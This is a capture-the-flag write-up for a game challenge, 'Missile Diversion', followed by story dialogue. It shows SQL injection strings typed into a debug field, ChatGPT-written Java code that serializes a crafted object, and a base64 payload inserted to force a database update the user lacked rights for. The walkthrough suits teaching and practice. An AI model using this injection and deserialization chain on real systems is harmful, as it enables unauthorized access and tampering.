Missile Diversion
Difficulty:
Shown in Report
Thwart Jack's evil plan by re-aiming his missile at the Sun.
Objective Image
Back
Challenge
Solution

Before we start the task, we establish the connection to the nanosat-mo-supervisor and the applications. This is a lengthy process, but it has already been described in the previous Camera Access challenge. We should therefore have access at the beginning, and the applications missile-targeting-system and ´camera` should be started.

Here again the URLs for reference:

We take a look around the missile-targeting-system application by clicking through the tabs and trying to understand what the programme logic behind the individual functions does. It is important to always keep an eye on the log in the Apps Launcher Service tab of the nanosat-mo-supervisor. We notice that there is an Action Debug in the Action Service tab, which we can execute and which then leads to the following output:

2023-12-17 23:31:58.556 esa.mo.nmf.apps.MissileTargetingSystemMCAdapter sqlDebug
INFO: Debug action output: VERSION(): 11.2.2-MariaDB-1:11.2.2+maria~ubu2204 | 

Let's just see if we can achieve a simple SQL injection. So let's enter into the field: ; show grants;
I have to admit that I had previously manually enumerated the entire database with union, only to realise that it could be done much more easily.

2023_Missile_Diversion_1.jpg

2023-12-18 00:21:58.519 esa.mo.nmf.apps.MissileTargetingSystemMCAdapter sqlDebug
INFO: Debug action output: VERSION(): 11.2.2-MariaDB-1:11.2.2+maria~ubu2204 | 
Grants for targeter@%: GRANT USAGE ON *.* TO `targeter`@`%` IDENTIFIED BY PASSWORD '*41E2CFE844C8F1F375D5704992440920F11A11BA' | 
Grants for targeter@%: GRANT SELECT, INSERT ON `missile_targeting_system`.`satellite_query` TO `targeter`@`%` | 
Grants for targeter@%: GRANT SELECT ON `missile_targeting_system`.`pointing_mode` TO `targeter`@`%` | 
Grants for targeter@%: GRANT SELECT ON `missile_targeting_system`.`messaging` TO `targeter`@`%` | 
Grants for targeter@%: GRANT SELECT ON `missile_targeting_system`.`target_coordinates` TO `targeter`@`%` | 
Grants for targeter@%: GRANT SELECT ON `missile_targeting_system`.`pointing_mode_to_str` TO `targeter`@`%` | 

At least we have a table that we can write in, so let's take a look at it: ; select * from satellite_query;

2023-12-18 00:25:25.062 esa.mo.nmf.apps.MissileTargetingSystemMCAdapter sqlDebug
INFO: Debug action output: VERSION(): 11.2.2-MariaDB-1:11.2.2+maria~ubu2204 | 
jid: 1 | object: ��srSatelliteQueryFileFolderUtility������ZisQueryisUpdateLpathOrStatementtLjava/lang/String;xpt)/opt/SatelliteQueryFileFolderUtility
import java.io.IOException;
import java.nio.charset.StandardCharsets;
import java.nio.file.*;
import java.util.stream.Collectors;
import java.util.stream.Stream;
import java.sql.*;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import com.google.gson.Gson;

public class SatelliteQueryFileFolderUtility implements Serializable {
    private String pathOrStatement;
    private boolean isQuery;
    private boolean isUpdate;

    public SatelliteQueryFileFolderUtility(String pathOrStatement, boolean isQuery, boolean isUpdate) {
        this.pathOrStatement = pathOrStatement;
        this.isQuery = isQuery;
        this.isUpdate = isUpdate;
    }

    public String getResults(Connection connection) {
        if (isQuery && connection != null) {
            if (!isUpdate) {
                try (PreparedStatement selectStmt = connection.prepareStatement(pathOrStatement);
                    ResultSet rs = selectStmt.executeQuery()) {
                    List<HashMap<String, String>> rows = new ArrayList<>();
                    while(rs.next()) {
                        HashMap<String, String> row = new HashMap<>();
                        for (int i = 1; i <= rs.getMetaData().getColumnCount(); i++) {
                            String key = rs.getMetaData().getColumnName(i);
                            String value = rs.getString(i);
                            row.put(key, value);
                        }
                        rows.add(row);
                    }
                    Gson gson = new Gson();
                    String json = gson.toJson(rows);
                    return json;
                } catch (SQLException sqle) {
                    return "SQL Error: " + sqle.toString();
                }
            } else {
                try (PreparedStatement pstmt = connection.prepareStatement(pathOrStatement)) {
                    pstmt.executeUpdate();
                    return "SQL Update completed.";
                } catch (SQLException sqle) {
                    return "SQL Error: " + sqle.toString();
                }
            }
        } else {
            Path path = Paths.get(pathOrStatement);
            try {
                if (Files.notExists(path)) {
                    return "Path does not exist.";
                } else if (Files.isDirectory(path)) {
                    // Use try-with-resources to ensure the stream is closed after use
                    try (Stream<Path> walk = Files.walk(path, 1)) { // depth set to 1 to list only immediate contents
                        return walk.skip(1) // skip the directory itself
                                .map(p -> Files.isDirectory(p) ? "D: " + p.getFileName() : "F: " + p.getFileName())
                                .collect(Collectors.joining("\n"));
                    }
                } else {
                    // Assume it's a readable file
                    return new String(Files.readAllBytes(path), StandardCharsets.UTF_8);
                }
            } catch (IOException e) {
                return "Error reading path: " + e.toString();
            }
        }
    }

    public String getpathOrStatement() {
        return pathOrStatement;
    }
}

The results column therefore contains Java code and the object column contains a binary serialised Java object (recognisable in the hex editor by the first bytes AC ED 00 05).

So let's assume that this table is used to upload a serialised Java object, which is then deserialised on the server. Let's briefly consider what our actual goal is: we want to turn the missile away from the earth towards the sun, so we have to make an entry in a table that we are not actually allowed to write to. If we look at the source code of the SatelliteQueryFileFolderUtility, we can see that we can also use it to execute SQL code if we provide the correct parameters:

This is clearly a task for the AI:
PROMPT: I have following java code:
(copied the java source code of SatelliteQueryFileFolderUtility.java)
Please write a short java program which serialized an object of this class, where isQuery is false, isUpdate is false, and pathOrStatement is "/opt/SatelliteQueryFileFolderUtility.java"
ChatGPT:
Sure, I can provide you with a short Java program that serializes an object of the SatelliteQueryFileFolderUtility class with the specified values for isQuery, isUpdate, and pathOrStatement. Serialization in Java is a mechanism of writing the state of an object into a byte stream, which is useful for saving objects to files, sending objects over a network, etc.

Here's the Java program:

import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;

public class SerializeUtility {
    public static void main(String[] args) {
        // Create an instance of SatelliteQueryFileFolderUtility with specified values
        SatelliteQueryFileFolderUtility utility = new SatelliteQueryFileFolderUtility(
                "/opt/SatelliteQueryFileFolderUtility.java", false, false);

        // Serialize the object
        try (FileOutputStream fileOut = new FileOutputStream("utility.ser");
             ObjectOutputStream out = new ObjectOutputStream(fileOut)) {
            out.writeObject(utility);
            System.out.println("Serialized data is saved in utility.ser");
        } catch (IOException i) {
            i.printStackTrace();
        }
    }
}

PROMPT: Please write another short java program which serialized an object of this class, where isQuery is true , isUpdate is true , and pathOrStatement is "update pointing_mode set numerical_mode = 1 where id = 1;"
ChatGPT:

import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;

public class SerializeUtility {
    public static void main(String[] args) {
        // Create an instance of SatelliteQueryFileFolderUtility with specified values
        SatelliteQueryFileFolderUtility utility = new SatelliteQueryFileFolderUtility(
                "update pointing_mode set numerical_mode = 1 where id = 1;", true, true);

        // Serialize the object
        try (FileOutputStream fileOut = new FileOutputStream("utility.ser");
             ObjectOutputStream out = new ObjectOutputStream(fileOut)) {
            out.writeObject(utility);
            System.out.println("Serialized data is saved in utility.ser");
        } catch (IOException i) {
            i.printStackTrace();
        }
    }
}

Of course, we have to compile and execute this first (all on the provided Docker container):

apt-get update
apt-get install openjdk-17-jdk
...
wget https://repo1.maven.org/maven2/com/google/code/gson/gson/2.8.6/gson-2.8.6.jar
javac -classpath gson-2.8.6.jar SatelliteQueryFileFolderUtility.java
javac -classpath . SerializeUtility.java
/usr/bin/java -classpath . SerializeUtility
Serialized data is saved in utility.ser

Of course, we have to upload our payload back to the server via the SQL injection, since the object is binary, we convert it to base64 beforehand.

cat utility.ser | base64 -w 0
rO0ABXNyAB9TYXRlbGxpdGVRdWVyeUZpbGVGb2xkZXJVdGlsaXR5EtT2jQ6zkssCAANaAAdpc1F1ZXJ5WgAIaXNVcGRhdGVMAA9wYXRoT3JTdGF0ZW1lbnR0ABJMamF2YS9sYW5nL1N0cmluZzt4cAEBdAA5dXBkYXRlIHBvaW50aW5nX21vZGUgc2V0IG51bWVyaWNhbF9tb2RlID0gMSB3aGVyZSBpZCA9IDE7

And on the server:

; insert into satellite_query (object) values(from_base64('rO0ABXNyAB9TYXRlbGxpdGVRdWVyeUZpbGVGb2xkZXJVdGlsaXR5EtT2jQ6zkssCAANaAAdpc1F1ZXJ5WgAIaXNVcGRhdGVMAA9wYXRoT3JTdGF0ZW1lbnR0ABJMamF2YS9sYW5nL1N0cmluZzt4cAEBdAA5dXBkYXRlIHBvaW50aW5nX21vZGUgc2V0IG51bWVyaWNhbF9tb2RlID0gMSB3aGVyZSBpZCA9IDE7'));

We want to check if we've been successful:

; select * from pointing_mode;
2023-12-18 00:49:29.980 esa.mo.nmf.apps.MissileTargetingSystemMCAdapter sqlDebug
INFO: Debug action output: VERSION(): 11.2.2-MariaDB-1:11.2.2+maria~ubu2204 | 
id: 1 | numerical_mode: 1 | 

And we have indeed managed to ward off all dangers!

What does Wombley Cube tell us now?
A... missile... aimed for Santa's sleigh? I had no idea...
I can't believe I was manipulated like this. I've been trained to recognize these kinds of tactics!
Santa should never have put the holiday season at risk like he did, but I didn't know Jack's true intentions.
I'll help you bring Jack to justice...
But my mission to ensure Santa never again compromises the holidays is still in progress.
It sounded like the satellite crashed. Based on the coordinates, looks like the crash site is right near Rudolph's Rest.
Use the door to the right to return to the resort lobby and see what happened!
Don't worry, I'll meet you there... trust me.

2023_Missile_Diversion_2.jpg

2023_Missile_Diversion_3.jpg

Let's go back to Rudolph's Rest last and meet some friends there:

2023_Missile_Diversion_4.jpg

Santa
You've done it! You've saved me and my sleigh from Jack Frost's dastardly plan!
I must admit, it's astonishing the lengths Jack will go to in order to try and stop the holiday season.
Even after being banished from Earth, he managed to create an AI to social engineer us into moving our holiday operations to the Geese Islands, putting us right in the path of his satellite.
And to think he even recruited one of my dear elves... I never saw that coming. Oh, Wombley...
But thanks to your incredible efforts, we've proof that Jack violated his parole, and the chances of him interfering with the holidays ever again are all but impossible!
I can't thank you enough for your help in protecting the magic and joy of this special time of year.
I'd like to wish you a most wonderful holiday season, no matter where you may be on Earth or what the weather is like.
Keep that holiday spirit alive, my friend, and remember: a little change now and then can lead to something magical!
Ho ho ho, happy holidays!

Trolls
Relax, bub. We're just here for Jack Frost. He broke Frostian and Earth law.
The most important condition of his parole agreement was that he’d never set foot on Earth again.
To evade the missile, his ejection pod landed on Geese Islands, so he’s back on earth, violating the explicit terms of his parole.
Don't care he wouldn't have done it if the missile coordinates weren't tampered with. Rules are rules. Jack's time on Earth is finally up. We're taking him back.
Frostian justice waits for no one. Not even Jack. End of story.
And I just really want to be able to boss him around for a change. Keh heh heh.

Thank you so much!
We assure you and Santa Clause that Jack Frost will be brought to justice!

Jack Frost
Okay, listen up, yes I've been caught, but let me tell you, my plan was incredible, I mean really incredible.
I and the trolls created ChatNPT, a fantastic AI, and left it behind in the North Pole in 2021 to trick Santa into moving to the Geese Islands. It worked like a charm, perfectly perfect.
My satellite was geostationary, right over the islands to maintain comms with ChatNPT, and Wombley in the gound station. It was genius. Absolute genius, really.
I was reviewing all the prompts as they were sent, and changing the responses in real time thanks to Santa's operation moving to the Geese Islands. This was very smart. Very, very, very smart, very efficient.
And Wombley, the elf, joining me? Easy. He was so easy to convince.
You see, there's a big, big dissent in Santa's ranks, huge.
The elves, they're not happy with Santa.
Mark my words, even if I don't stop Santa, his own elves will.
It's going to be tremendous, this you will see.